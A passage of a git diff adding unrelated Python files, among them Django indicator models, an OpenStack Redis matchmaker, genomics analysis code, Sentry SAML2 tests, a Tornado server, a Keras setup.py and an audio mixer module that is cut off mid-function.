+	static_img = models.CharField(max_length=30,default="")
+	ciudad_padre = models.ForeignKey('self',blank=True,null=True,default=None)
+	activado = models.BooleanField(default=True)
+        lat = models.CharField(max_length=25, default='', null=True)
+        lon = models.CharField(max_length=25, default='', null=True)
+        nombre_simple = models.CharField(max_length=120, default='',null=True)
+
+	def __unicode__(self):
+		return self.nombre
+
+class Categoria(models.Model):
+        nombre = models.CharField(max_length=100)
+        icono = models.ImageField(null=True,blank=True)
+        background = models.ImageField(null=True,blank=True)
+	href = models.CharField(max_length=40, default="")
+	def __unicode__(self):
+		return self.nombre
+
+class Indicador(models.Model):
+	variable = models.CharField(max_length=100)
+	descripcion = models.CharField(max_length=1500)
+	unidad_medida = models.CharField(max_length=100,blank=True,null=True,default='')
+	estado = models.CharField(max_length=10) #provisorio
+	categoria = models.ForeignKey(Categoria)
+	descripcion_corta=models.CharField(max_length=250,blank=True,null=True,default='')
+	metodo=models.CharField(max_length=1500,blank=True,null=True,default='')
+	icono = models.ImageField(null=True,blank=True)
+        activado = models.BooleanField(default=True)
+	def __unicode__(self):
+		return self.categoria.nombre + ' - '  +self.variable
+
+class Dato(models.Model):
+	ciudad = models.ForeignKey(Ciudad)
+	indicador = models.ForeignKey(Indicador)
+	var_float = models.FloatField(null=True,blank=True)
+	creado = models.DateTimeField(null=True,blank=True,editable=False)
+	modificado = models.DateTimeField(null=True,editable=False)
+	fecha_indicador = models.DateTimeField()
+	def save(self, *args, **kwargs):
+		if not self.id:
+			self.created = timezone.now()
+		self.modified = timezone.now()
+		return super(Dato,self).save(*args, **kwargs)
+	def __unicode__(self):
+		return self.ciudad.nombre + ' - ' + self.indicador.variable + ' - ' + str(self.var_float or 'Sin Dato')
+
+class Umbral(models.Model):
+	TIPO = (
+		('max','Valor maximo es el mejor'),
+		('min','Valor minimo es el mejor'),
+		('center','Valor central es el mejor'),
+	)
+	tipo = models.CharField(max_length=6, choices=TIPO)
+	indicador = models.OneToOneField(Indicador)
+	lim1 = models.FloatField()
+	lim2 = models.FloatField()
+	lim3 = models.FloatField()
+	lim4 = models.FloatField(null=True, blank=True)
+
+	def __unicode__(self):
+		return self.tipo + ' - ' + self.indicador.variable
diff --git a/pool/shard000/Python/0008495_matchmaker_redis.py b/pool/shard000/Python/0008495_matchmaker_redis.py
new file mode 100644
index 0000000000000000000000000000000000000000..decf9fed353662b32f540a95660ecf8da907740c
--- /dev/null
+++ b/pool/shard000/Python/0008495_matchmaker_redis.py
@@ -0,0 +1,144 @@
+#    Copyright 2013 Cloudscaling Group, Inc
+#
+#    Licensed under the Apache License, Version 2.0 (the "License"); you may
+#    not use this file except in compliance with the License. You may obtain
+#    a copy of the License at
+#
+#         http://www.apache.org/licenses/LICENSE-2.0
+#
+#    Unless required by applicable law or agreed to in writing, software
+#    distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+#    WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+#    License for the specific language governing permissions and limitations
+#    under the License.
+
+"""
+The MatchMaker classes should accept a Topic or Fanout exchange key and
+return keys for direct exchanges, per (approximate) AMQP parlance.
+"""
+
+from oslo.config import cfg
+
+from ceilometer.openstack.common import importutils
+from ceilometer.openstack.common import log as logging
+from ceilometer.openstack.common.rpc import matchmaker as mm_common
+
+redis = importutils.try_import('redis')
+
+
+matchmaker_redis_opts = [
+    cfg.StrOpt('host',
+               default='127.0.0.1',
+               help='Host to locate redis'),
+    cfg.IntOpt('port',
+               default=6379,
+               help='Use this port to connect to redis host.'),
+    cfg.StrOpt('password',
+               default=None,
+               help='Password for Redis server. (optional)'),
+]
+
+CONF = cfg.CONF
+opt_group = cfg.OptGroup(name='matchmaker_redis',
+                         title='Options for Redis-based MatchMaker')
+CONF.register_group(opt_group)
+CONF.register_opts(matchmaker_redis_opts, opt_group)
+LOG = logging.getLogger(__name__)
+
+
+class RedisExchange(mm_common.Exchange):
+    def __init__(self, matchmaker):
+        self.matchmaker = matchmaker
+        self.redis = matchmaker.redis
+        super(RedisExchange, self).__init__()
+
+
+class RedisTopicExchange(RedisExchange):
+    """Exchange where all topic keys are split, sending to second half.
+
+    i.e. "compute.host" sends a message to "compute" running on "host"
+    """
+    def run(self, topic):
+        while True:
+            member_name = self.redis.srandmember(topic)
+
+            if not member_name:
+                # If this happens, there are no
+                # longer any members.
+                break
+
+            if not self.matchmaker.is_alive(topic, member_name):
+                continue
+
+            host = member_name.split('.', 1)[1]
+            return [(member_name, host)]
+        return []
+
+
+class RedisFanoutExchange(RedisExchange):
+    """Return a list of all hosts."""
+    def run(self, topic):
+        topic = topic.split('~', 1)[1]
+        hosts = self.redis.smembers(topic)
+        good_hosts = filter(
+            lambda host: self.matchmaker.is_alive(topic, host), hosts)
+
+        return [(x, x.split('.', 1)[1]) for x in good_hosts]
+
+
+class MatchMakerRedis(mm_common.HeartbeatMatchMakerBase):
+    """MatchMaker registering and looking-up hosts with a Redis server."""
+    def __init__(self):
+        super(MatchMakerRedis, self).__init__()
+
+        if not redis:
+            raise ImportError("Failed to import module redis.")
+
+        self.redis = redis.Redis(
+            host=CONF.matchmaker_redis.host,
+            port=CONF.matchmaker_redis.port,
+            password=CONF.matchmaker_redis.password)
+
+        self.add_binding(mm_common.FanoutBinding(), RedisFanoutExchange(self))
+        self.add_binding(mm_common.DirectBinding(), mm_common.DirectExchange())
+        self.add_binding(mm_common.TopicBinding(), RedisTopicExchange(self))
+
+    def ack_alive(self, key, host):
+        topic = "%s.%s" % (key, host)
+        if not self.redis.expire(topic, CONF.matchmaker_heartbeat_ttl):
+            # If we could not update the expiration, the key
+            # might have been pruned. Re-register, creating a new
+            # key in Redis.
+            self.register(self.topic_host[host], host)
+
+    def is_alive(self, topic, host):
+        if self.redis.ttl(host) == -1:
+            self.expire(topic, host)
+            return False
+        return True
+
+    def expire(self, topic, host):
+        with self.redis.pipeline() as pipe:
+            pipe.multi()
+            pipe.delete(host)
+            pipe.srem(topic, host)
+            pipe.execute()
+
+    def backend_register(self, key, key_host):
+        with self.redis.pipeline() as pipe:
+            pipe.multi()
+            pipe.sadd(key, key_host)
+
+            # No value is needed, we just
+            # care if it exists. Sets aren't viable
+            # because only keys can expire.
+            pipe.set(key_host, '')
+
+            pipe.execute()
+
+    def backend_unregister(self, key, key_host):
+        with self.redis.pipeline() as pipe:
+            pipe.multi()
+            pipe.srem(key, key_host)
+            pipe.delete(key_host)
+            pipe.execute()
diff --git a/pool/shard000/Python/0008508_generate_weemoji.py b/pool/shard000/Python/0008508_generate_weemoji.py
new file mode 100644
index 0000000000000000000000000000000000000000..a2739636c5a3a549a3b47f68e3d08b92f9bf9fcd
--- /dev/null
+++ b/pool/shard000/Python/0008508_generate_weemoji.py
@@ -0,0 +1,21 @@
+#!/usr/bin/python
+
+import json
+import sys
+
+all_emojis = json.loads(sys.stdin.read())
+
+
+def convert_unicode_string(emoji_dict):
+    for k, v in emoji_dict.items():
+        if k == "unicode":
+            emoji_dict[k] = "".join([chr(int(x, 16)) for x in v.split("-")])
+        if type(v) == dict:
+            convert_unicode_string(v)
+
+
+convert_unicode_string(all_emojis)
+
+with open("weemoji.json", "w") as weemoji:
+    json.dump(all_emojis, weemoji, indent=2, sort_keys=True)
+    weemoji.write("\n")
diff --git a/pool/shard000/Python/0008512_DONE_extract_thermal_slopes.py b/pool/shard000/Python/0008512_DONE_extract_thermal_slopes.py
new file mode 100644
index 0000000000000000000000000000000000000000..d218d81fde718dd565c1d8caf01735490d7dfb21
--- /dev/null
+++ b/pool/shard000/Python/0008512_DONE_extract_thermal_slopes.py
@@ -0,0 +1,235 @@
+import re
+import os
+import sys
+from Bio import Seq
+from Bio import SeqIO
+from Bio import SeqUtils
+import pandas as pd
+import numpy as np
+from functools import partial
+import time
+from scipy import stats as st
+
+from multiprocessing import Pool
+
+# for plotting ...
+import matplotlib.pyplot as plt
+import matplotlib as mpl
+font = {'family' : 'sans-serif',
+        #'weight' : 'bold',
+        'size'   :9}
+mpl.rc('font', **font)
+# data lopading ...
+
+
+
+root_path = os.path.expanduser('~')
+bact_path = os.path.join(root_path,'GENOMES_BACTER_RELEASE69/genbank')
+arch_path = os.path.join(root_path,'GENOMES_ARCH_SEP2015')
+
+# SOME ARCHAEAL DATA ...
+arch        = pd.read_csv(os.path.join(arch_path,'summary_organisms_interest.dat'))
+arch_nohalo = pd.read_csv(os.path.join(arch_path,'summary_organisms_interest_no_halop.dat'))
+
+# SOME BACTERIAL DATA ...
+# complete genomes only ...
+bact        = pd.read_csv(os.path.join(bact_path,'env_catalog_compgenome.dat'))
+
+###############################################
+# complete_CDS_CAI_DNA.dat same thing ...
+arch_cai_fname = os.path.join(arch_path,"complete_arch_CDS_CAI_DNA.dat")
+bact_cai_fname = os.path.join(bact_path,"complete_CDS_CAI_DNA.dat")
+
+arch_cai = pd.read_csv(arch_cai_fname)
+bact_cai = pd.read_csv(bact_cai_fname)
+
+bact_cai_by_org = bact_cai.groupby('GenomicID')
+arch_cai_by_org = arch_cai.groupby('assembly_accession')
+
+
+aacids = list('ACDEFGHIKLMNPQRSTVWY')
+
+
+
+
+# generate 'dataset':
+# select CDS translations (protein sequences) for a given criteria ...
+# criteria includes CAI top 10%, all proteins, TrOp, noTrOp, ribosomal ...
+# 2 types of criteria: organismal  and  CDS-level ...
+def get_dataset(all_cds,dat,uid_key,cds_criteria='all',org_criteria='all',calculate_trop=False,topt='OptimumTemperature'):
+    #
+    # ACHTUNG !!!
+    # the way we treated organisms with too little ribosomal proteins (~<24), makes it hard
+    # to distinguish between non-TrOp and the ones the former ones.
+    # This can cause downstream 'nan' evaluations as a result ...
+    # To avoid troubles: treat the TrOp==np.nan differently !
+    #
+    #
+    # # This is a bug potentially ...
+    # pd.Series([np.nan, np.nan, np.nan]).all() = True
+    # pd.Series([np.nan, np.nan, np.nan]).any() = False
+    def get_one_trop(idx):
+        org_cds = all_cds.get_group(idx)
+        # check if TrOp ...
+        # for a given organism(id) all TrOp values must be same
+        trop_vals = org_cds['TrOp'].unique()
+        assert trop_vals.size == 1
+        # then just figure out TrOp value after unpacking ...
+        trop, = trop_vals
+        if pd.isnull(trop):
+        	# special return - not enough ribosomal proteins ...
+        	return 'none'
+        if not trop:
+            # False, return False 
+            return 'false'
+        elif trop == True:
+            # if it's True just return ...
+            return 'true'
+        else:
+            raise ValueError
+    #
+    #
+    def extract_aausage(uid,criteria,cds_trans_key='protein'):
+        local_cds = all_cds.get_group(uid)
+        # select protein according to the criteria ...
+        if criteria == 'cai':
+            # cai10 for cai related criteria ...
+            cai10 = local_cds['CAI'].quantile(q=1.0 - 0.1)
+            selected_aa = local_cds[local_cds['CAI'] >= cai10][cds_trans_key]
+        elif criteria == 'ribo':
+            selected_aa = local_cds[local_cds['ribosomal']][cds_trans_key]
+        elif criteria == 'cai_noribo':
+            # cai10 for cai related criteria ...
+            cai10 = local_cds['CAI'].quantile(q=1.0 - 0.1)
+            selected_aa = local_cds[(local_cds['CAI'] >= cai10)&(~local_cds['ribosomal'])][cds_trans_key]
+        elif criteria == 'all':
+            selected_aa = local_cds[cds_trans_key]
+        else:
+            raise ValueError('CDS criteria must be either cai,ribo,cai_noribo or all!')
+        #
+        selected_aa = ''.join(selected_aa)
+        total_aacount = float(len(selected_aa))
+        # return freuqencies of aa usage
+        get_aacount_str = lambda seq: np.asarray([seq.count(aa) for aa in aacids])
+        return get_aacount_str(selected_aa)*100.0/total_aacount
+    #
+    # Calculate or check if we have the TrOp info for each organism ...
+    if calculate_trop:
+        dat['TrOp'] = [get_one_trop(idx) for idx in dat[uid_key]]
+    else:
+        assert 'TrOp' in dat.columns
+    #
+    #
+    if org_criteria == 'all':
+        return_aausage = [ extract_aausage(uid,criteria=cds_criteria) for uid in dat[dat['TrOp']!='none'][uid_key]]
+        return_topt = dat[dat['TrOp']!='none'][topt]
+    elif org_criteria == 'trop':
+        return_aausage = [ extract_aausage(uid,criteria=cds_criteria) for uid in dat[dat['TrOp']=='true'][uid_key] ]
+        return_topt = dat[dat['TrOp']=='true'][topt]
+    else:
+        raise ValueError('Organism criteria must be either all or trop!')
+    # transform the aausage 
+    return_aausage = np.asarray(return_aausage)
+    return_aausage = pd.DataFrame(return_aausage,columns=aacids)
+    return_aausage[topt] = return_topt.reset_index(drop=True)
+    #
+    return return_aausage
+
+
+
+
+
+
+
+
+cds_crits = ['cai','ribo','cai_noribo','all']
+org_crits = ['trop','all']
+#
+combinations = [(cc,oo) for cc in cds_crits for oo in org_crits]
+combinations = [[{'cds_criteria':cc,'org_criteria':oo} for cc in cds_crits] for oo in org_crits]
+# # with trop
+# combinations[0][0,2,3]
+# # no trop ...
+# combinations[1][0,1,3]
+
+
+# for each dataset get some summary info ...
+def get_data_summary(dat,topt='OptimumTemperature'):
+    exp_T = dat[dat[topt]>=50][aacids].mean()
+    exp_M = dat[(dat[topt]>=20)&(dat[topt]<=40)][aacids].mean()
+    exp_A = dat[aacids].mean()
+    exp_D = dat[aacids].apply(lambda x: x.cov(dat[topt])/dat[topt].var())
+    # check exp_D, just in case ...
+    exp_D_check = dat[aacids].apply(lambda x: st.linregress(dat[topt],x)[0])
+    if ( np.abs(exp_D - exp_D_check) > 1e-7 ).any():
+        raise ValueError('exp_D caluclation failed!')
+    # assign some names to form a DataFrame later ...
+    exp_M.name = 'exp_M'
+    exp_T.name = 'exp_T'
+    exp_A.name = 'exp_A'
+    exp_D.name = 'exp_D'
+    # stack these as columns together and return ...
+    return pd.concat([exp_M,exp_T,exp_A,exp_D],axis=1)
+
+
+
+
+for i,(for_trop,for_notrop) in enumerate(zip([0,2,3],[0,1,3])):
+    #
+    ###################################################################
+    print i,combinations[0][for_trop]
+    #
+    kwargs = combinations[0][for_trop]
+    kwargs['calculate_trop'] = True
+    #
+    arch_dataset = get_dataset(arch_cai_by_org,arch_nohalo,'assembly_accession',**kwargs)
+    bact_dataset = get_dataset(bact_cai_by_org,bact,'GenomicID',**kwargs)
+    #
+    arch_dat = get_data_summary(arch_dataset)
+    bact_dat = get_data_summary(bact_dataset)
+    #
+    arch_fname = "exp_MTAD_%s_%s.arch.summary"%(kwargs['cds_criteria'],kwargs['org_criteria'])
+    bact_fname = "exp_MTAD_%s_%s.bact.summary"%(kwargs['cds_criteria'],kwargs['org_criteria'])
+    #
+    arch_dat.to_csv(arch_fname,index=True)
+    bact_dat.to_csv(bact_fname,index=True)
+    #
+    ###################################################################
+    print i,combinations[1][for_notrop]
+    #
+    kwargs = combinations[1][for_notrop]
+    kwargs['calculate_trop'] = True
+    #
+    arch_dataset = get_dataset(arch_cai_by_org,arch_nohalo,'assembly_accession',**kwargs)
+    bact_dataset = get_dataset(bact_cai_by_org,bact,'GenomicID',**kwargs)
+    #
+    arch_dat = get_data_summary(arch_dataset)
+    bact_dat = get_data_summary(bact_dataset)
+    #
+    arch_fname = "exp_MTAD_%s_%s.arch.summary"%(kwargs['cds_criteria'],kwargs['org_criteria'])
+    bact_fname = "exp_MTAD_%s_%s.bact.summary"%(kwargs['cds_criteria'],kwargs['org_criteria'])
+    #
+    arch_dat.to_csv(arch_fname,index=True)
+    bact_dat.to_csv(bact_fname,index=True)
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/pool/shard000/Python/0008518_test_saml2.py b/pool/shard000/Python/0008518_test_saml2.py
new file mode 100644
index 0000000000000000000000000000000000000000..6e9f18bbcc410bb6ea4827c020cbeceac8bec5a7
--- /dev/null
+++ b/pool/shard000/Python/0008518_test_saml2.py
@@ -0,0 +1,113 @@
+from __future__ import absolute_import, print_function
+
+import pytest
+import types
+
+from datetime import datetime
+from django.utils import timezone
+
+from sentry.auth.helper import AuthHelper
+from sentry.auth.providers.saml2.provider import SAML2Provider, Attributes, SAML2ACSView
+from sentry.auth.exceptions import IdentityNotValid
+from sentry.models import AuthProvider
+from sentry.testutils import TestCase
+from sentry.utils.compat import mock
+
+dummy_provider_config = {
+    "attribute_mapping": {
+        Attributes.IDENTIFIER: "id",
+        Attributes.USER_EMAIL: "email",
+        Attributes.FIRST_NAME: "first",
+        Attributes.LAST_NAME: "last",
+    }
+}
+
+
+class SAML2ProviderTest(TestCase):
+    def setUp(self):
+        self.org = self.create_organization()
+        self.auth_provider = AuthProvider.objects.create(provider="saml2", organization=self.org)
+        self.provider = SAML2Provider(key=self.auth_provider.provider)
+        super(SAML2ProviderTest, self).setUp()
+
+    def test_build_config_adds_attributes(self):
+        config = self.provider.build_config({})
+
+        assert "attribute_mapping" in config
+
+    def test_buld_config_with_provider_attributes(self):
+        with mock.patch.object(self.provider, "attribute_mapping") as attribute_mapping:
+            config = self.provider.build_config({})
+
+            assert "attribute_mapping" in config
+            assert config["attribute_mapping"] == attribute_mapping.return_value
+
+    def test_build_identity_invalid(self):
+        self.provider.config = dummy_provider_config
+        state = {"auth_attributes": {}}
+
+        with pytest.raises(IdentityNotValid):
+            self.provider.build_identity(state)
+
+        state = {"auth_attributes": {"id": [""], "email": ["valid@example.com"]}}
+
+        with pytest.raises(IdentityNotValid):
+            self.provider.build_identity(state)
+
+        state = {"auth_attributes": {"id": ["1234"], "email": [""]}}
+
+        with pytest.raises(IdentityNotValid):
+            self.provider.build_identity(state)
+
+    def test_build_identity(self):
+        self.provider.config = dummy_provider_config
+        attrs = {
+            "id": ["123"],
+            "email": ["valid@example.com"],
+            "first": ["Morty"],
+            "last": ["Smith"],
+        }
+
+        state = {"auth_attributes": attrs}
+        identity = self.provider.build_identity(state)
+
+        assert identity["id"] == "123"
+        assert identity["email"] == "valid@example.com"
+        assert identity["name"] == "Morty Smith"
+
+
+@mock.patch("sentry.auth.providers.saml2.provider.build_auth")
+class SAML2ACSViewTest(TestCase):
+    def test_set_session_expiration(self, mock_auth):
+        self.org = self.create_organization()
+        self.auth_provider = AuthProvider.objects.create(provider="saml2", organization=self.org)
+        self.provider = SAML2Provider(key=self.auth_provider.provider)
+        self.provider.config = dummy_provider_config
+        self.auth_provider.get_provider = mock.MagicMock(return_value=self.provider)
+        super(SAML2ACSViewTest, self).setUp()
+
+        request = self.make_request(user=None)
+        request.META = {
+            "PATH_INFO": "/",
+        }
+
+        test_view = SAML2ACSView()
+        helper = AuthHelper(
+            request, self.org, AuthHelper.FLOW_LOGIN, auth_provider=self.auth_provider
+        )
+
+        def mock_next_step(self):
+            return
+
+        helper.next_step = types.MethodType(mock_next_step, helper)
+
+        instance = mock_auth.return_value
+        instance.get_errors.return_value = None
+        instance.get_attributes.return_value = {}
+        instance.get_session_expiration.return_value = 1591044492
+
+        test_view.dispatch(request, helper)
+
+        assert request.session.get_expiry_date() == datetime.fromtimestamp(1591044492).replace(
+            tzinfo=timezone.utc
+        )
diff --git a/pool/shard000/Python/0008519_server_app.py b/pool/shard000/Python/0008519_server_app.py
new file mode 100644
index 0000000000000000000000000000000000000000..8d9d39d991f2c507ee9be052f86fd16a3f0af7b1
--- /dev/null
+++ b/pool/shard000/Python/0008519_server_app.py
@@ -0,0 +1,46 @@
+import os
+import apollo.settings
+import apollo.wsgi
+import tornado.web
+import tornado.websocket
+import tornado.wsgi
+
+
+class Application(tornado.web.Application):
+    """
+    Tornado application which serves our Django application.
+    Tornado handles staticfiles and web sockets, Django handles everything else.
+    """
+
+    def __init__(self):
+        settings = dict()
+        settings["debug"] = True if apollo.settings.DEBUG else False
+
+        os.environ.setdefault("DJANGO_SETTINGS_MODULE", "apollo.settings")
+        wsgi_app = tornado.wsgi.WSGIContainer(apollo.wsgi.application)
+        static_path = apollo.settings.STATIC_ROOT
+
+        handlers = [
+            (r"/ws", WebSocketHandler),
+            (r"/(favicon\.ico)", tornado.web.StaticFileHandler, {'path': static_path}),
+            (r"/static/(.*)", tornado.web.StaticFileHandler, {'path': static_path}),
+            (r".*", tornado.web.FallbackHandler, dict(fallback=wsgi_app)),
+        ]
+
+        tornado.web.Application.__init__(self, handlers, **settings)
+
+
+class WebSocketHandler(tornado.websocket.WebSocketHandler):
+    def data_received(self, chunk):
+        # Don't do anything for now
+        pass
+
+    def open(self):
+        self.write_message(u"ws-echo: 418 I'm a teapot (as per RFC 2324)")
+
+    def on_message(self, message):
+        self.write_message(u"ws-echo: " + message)
+
+    def check_origin(self, origin):
+        return True
+
diff --git a/pool/shard000/Python/0008525_ziping.py b/pool/shard000/Python/0008525_ziping.py
new file mode 100644
index 0000000000000000000000000000000000000000..5718c112ac0fd0f3311b78e4f3cdee07a44342c5
--- /dev/null
+++ b/pool/shard000/Python/0008525_ziping.py
@@ -0,0 +1,47 @@
+"""
+Compress files with Python
+"""
+
+
+def tar_compress_folder(tar_fld, tar_file):
+    """
+    Compress a given folder
+    """
+    
+    from gasp.oss.shell import execute_cmd
+    
+    cmd = 'cd {p} && tar -czvf {tar_f} {fld}'.format(
+        tar_f=tar_file, fld=str(os.path.basename(tar_fld)),
+        p=str(os.path.dirname(tar_fld))
+    )
+    
+    code, out, err = execute_cmd(cmd)
+    
+    return tar_file
+
+
+def zip_files(lst_files, zip_file):
+    """
+    Unzip all files in the lst_files
+    """
+    
+    import zipfile
+    import os
+    
+    __zip = zipfile.ZipFile(zip_file, mode='w')
+    
+    for f in lst_files:
+        print f
+        __zip.write(f, os.path.relpath(f, os.path.dirname(zip_file)),
+                       compress_type=zipfile.ZIP_DEFLATED)
+    
+    __zip.close()
+
+
+def zip_folder(folder, zip_file):
+    from gasp.oss.info import list_files
+    
+    files = list_files(folder)
+    
+    zip_files(files, zip_file)
+
diff --git a/pool/shard000/Python/0008530_setup.py b/pool/shard000/Python/0008530_setup.py
new file mode 100644
index 0000000000000000000000000000000000000000..6ee067e0dd4d1557cc1252eab968116b54e2b7eb
--- /dev/null
+++ b/pool/shard000/Python/0008530_setup.py
@@ -0,0 +1,80 @@
+# Copyright 2018 The TensorFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+# ==============================================================================
+"""TensorFlow Keras.
+
+TensorFlow Keras is an implementation of the Keras API that uses TensorFlow as
+a backend.
+"""
+
+from __future__ import absolute_import
+from __future__ import division
+from __future__ import print_function
+
+import sys
+import setuptools
+
+DOCLINES = __doc__.split('\n')
+
+# This version string is semver compatible, but incompatible with pip.
+# For pip, we will remove all '-' characters from this string, and use the
+# result for pip.
+_VERSION = '2.9.0'
+
+REQUIRED_PACKAGES = [
+    # We depend on TensorFlow's declared pip dependencies.
+    # Add a new dep there if one is needed.
+]
+
+project_name = 'keras'
+if '--project_name' in sys.argv:
+  project_name_idx = sys.argv.index('--project_name')
+  project_name = sys.argv[project_name_idx + 1]
+  sys.argv.remove('--project_name')
+  sys.argv.pop(project_name_idx)
+
+
+setuptools.setup(
+    name=project_name,
+    version=_VERSION.replace('-', ''),
+    description='Deep learning for humans.',
+    long_description='\n'.join(DOCLINES[2:]),
+    url='https://keras.io/',
+    download_url='https://github.com/keras-team/keras/tags',
+    author='Keras team',
+    author_email='keras-users@googlegroups.com',
+    packages=setuptools.find_packages(),
+    install_requires=REQUIRED_PACKAGES,
+    # PyPI package information.
+    classifiers=[
+        'Development Status :: 5 - Production/Stable',
+        'Intended Audience :: Developers',
+        'Intended Audience :: Education',
+        'Intended Audience :: Science/Research',
+        'License :: OSI Approved :: Apache Software License',
+        'Programming Language :: Python :: 3',
+        'Programming Language :: Python :: 3.7',
+        'Programming Language :: Python :: 3.8',
+        'Programming Language :: Python :: 3.9',
+        'Programming Language :: Python :: 3 :: Only',
+        'Topic :: Scientific/Engineering',
+        'Topic :: Scientific/Engineering :: Mathematics',
+        'Topic :: Scientific/Engineering :: Artificial Intelligence',
+        'Topic :: Software Development',
+        'Topic :: Software Development :: Libraries',
+        'Topic :: Software Development :: Libraries :: Python Modules',
+    ],
+    license='Apache 2.0',
+    keywords=['keras', 'tensorflow', 'machine learning', 'deep learning'],
+)
diff --git a/pool/shard000/Python/0008531_init__.py b/pool/shard000/Python/0008531_init__.py
new file mode 100644
index 0000000000000000000000000000000000000000..677417248b47a5277acee1dfeccfa76907806e27
--- /dev/null
+++ b/pool/shard000/Python/0008531_init__.py
@@ -0,0 +1,19 @@
+import os
+from pyramid.config import Configurator
+from sqlalchemy import engine_from_config
+
+from .models import DBSession, Base
+
+
+def main(global_config, **settings):
+    """ This function returns a Pyramid WSGI application.
+    """
+    settings['sqlalchemy.url'] = os.environ.get('DATABASE_URL')
+    print(settings)
+    engine = engine_from_config(settings, 'sqlalchemy.')
+    DBSession.configure(bind=engine)
+    Base.metadata.bind = engine
+    config = Configurator(settings=settings)
+    config.add_route('home', '/{id}/{b1}/{b2}/{b3}/preview.png')
+    config.scan()
+    return config.make_wsgi_app()
diff --git a/pool/shard000/Python/0008533_mdconv.py b/pool/shard000/Python/0008533_mdconv.py
new file mode 100644
index 0000000000000000000000000000000000000000..2652cbdcd94e3fed4e91776fe94c86b2c341219b
--- /dev/null
+++ b/pool/shard000/Python/0008533_mdconv.py
@@ -0,0 +1,77 @@
+#!/usr/bin/python
+import glob
+import markdown
+import sys
+
+def openFile(path, mode):
+    # check python version so we always open UTF-8.
+    if sys.version_info[0] == 2:
+        import codecs
+        return codecs.open(path, mode, "utf-8")
+    else:
+        return open(path, mode, encoding="utf-8")
+
+def convert(fn):
+    # make the new filename
+    newfn = fn[:-3]+".html"
+
+    print("[CONV] %s => %s" % (fn, newfn))
+
+    # open and read the md file
+    try:
+        mdfile = openFile(fn,"r")
+    except IOError:
+        print("[NOPE] File %s doesn't exist, are you mad!?" % fn)
+        sys.exit(1)
+
+    mdtext = mdfile.read()
+
+    # convert it
+    html = markdown.markdown(mdtext)
+
+    # close it
+    mdfile.close()
+
+    # write the new html
+    htmlfile = openFile(newfn,"w")
+    htmlfile.write(header+"\n\n"+html+"\n\n"+footer)
+    htmlfile.close()
+
+# get the header/footer
+try:
+    hfile = openFile(".mdc_header","r")
+except IOError:
+    hfile = None
+
+try:
+    ffile = openFile(".mdc_footer","r")
+except IOError:
+    ffile = None
+
+if hfile is None:
+    header = "<!doctype html>"
+else:
+    header = hfile.read()
+    hfile.close()
+
+if ffile is None:
+    footer = ""
+else:
+    footer = ffile.read()
+    ffile.close()
+
+# figure out if it's a full-on convert or just a single file
+try:
+    target = sys.argv[1:]
+except IndexError:
+    target = None
+
+if target is None or target == []:
+    print("[INFO] Converting all files in cwd")
+    for f in glob.glob("*.md"):
+        convert(f)
+else:
+    print("[INFO] Converting selected file(s)")
+    for t in target:
+        for f in glob.glob(t):
+            convert(f)
diff --git a/pool/shard000/Python/0008543_rtmixer.py b/pool/shard000/Python/0008543_rtmixer.py
new file mode 100644
index 0000000000000000000000000000000000000000..e0f6182f8f694bcf5dcd6be4177b92c551126a12
--- /dev/null
+++ b/pool/shard000/Python/0008543_rtmixer.py
@@ -0,0 +1,189 @@
+"""python-rtmixer interface for sound output."""
+
+# Authors: Eric Larson <larsoner@uw.edu>
+#
+# License: BSD (3-clause)
+
+import atexit
+import sys
+
+import numpy as np
+
+from rtmixer import Mixer, RingBuffer
+import sounddevice
+from .._utils import logger, get_config
+
+_PRIORITY = 100
+_DEFAULT_NAME = None
+
+# only initialize each mixer once and reuse it until Python closes
+_MIXER_REGISTRY = {}
+
+
+def _get_mixer(fs, n_channels, api, name, api_options):
+    """Select the API and device."""
+    # API
+    if api is None:
+        api = get_config('SOUND_CARD_API', None)
+    if api is None:
+        # Eventually we should maybe allow 'Windows WDM-KS',
+        # 'Windows DirectSound', or 'MME'
+        api = dict(
+            darwin='Core Audio',
+            win32='Windows WASAPI',
+            linux='ALSA',
+            linux2='ALSA',
+        )[sys.platform]
+    key = (fs, n_channels, api, name)
+    if key not in _MIXER_REGISTRY:
+        _MIXER_REGISTRY[key] = _init_mixer(fs, n_channels, api, name,
+                                           api_options)
+    return _MIXER_REGISTRY[key]
+
+
+def _init_mixer(fs, n_channels, api, name, api_options=None):
+    devices = sounddevice.query_devices()
+    if len(devices) == 0:
+        raise OSError('No sound devices found!')
+    apis = sounddevice.query_hostapis()
+    for ai, this_api in enumerate(apis):
+        if this_api['name'] == api:
+            api = this_api
+            break
+    else:
+        raise RuntimeError('Could not find host API %s' % (api,))
+    del this_api
+
+    # Name
+    if name is None:
+        name = get_config('SOUND_CARD_NAME', None)
+    if name is None:
+        global _DEFAULT_NAME
+        if _DEFAULT_NAME is None:
+            di = api['default_output_device']
+            _DEFAULT_NAME = devices[di]['name']
+            logger.exp('Selected default sound device: %r' % (_DEFAULT_NAME,))
+        name = _DEFAULT_NAME
+    possible = list()
+    for di, device in enumerate(devices):
+        if device['hostapi'] == ai:
+            possible.append(device['name'])
+            if name in device['name']:
+                break
+    else:
+        raise RuntimeError('Could not find device on API %r with name '
+                           'containing %r, found:\n%s'
+                           % (api['name'], name, '\n'.join(possible)))
+    param_str = ('sound card %r (devices[%d]) via %r'
+                 % (device['name'], di, api['name']))
+    extra_settings = None
+    if api_options is not None:
+        if api['name'] == 'Windows WASAPI':
+            # exclusive mode is needed for zero jitter on Windows in testing
+            extra_settings = sounddevice.WasapiSettings(**api_options)
+        else:
+            raise ValueError(
+                'api_options only supported for "Windows WASAPI" backend, '
+                'using %s backend got api_options=%s'
+                % (api['name'], api_options))
+        param_str += ' with options %s' % (api_options,)
+    param_str += ', %d channels' % (n_channels,)
+    if fs is not None:
+        param_str += ' @ %d Hz' % (fs,)
+    try:
+        mixer = Mixer(
+            samplerate=fs, latency='low', channels=n_channels,
+            dither_off=True, device=di,
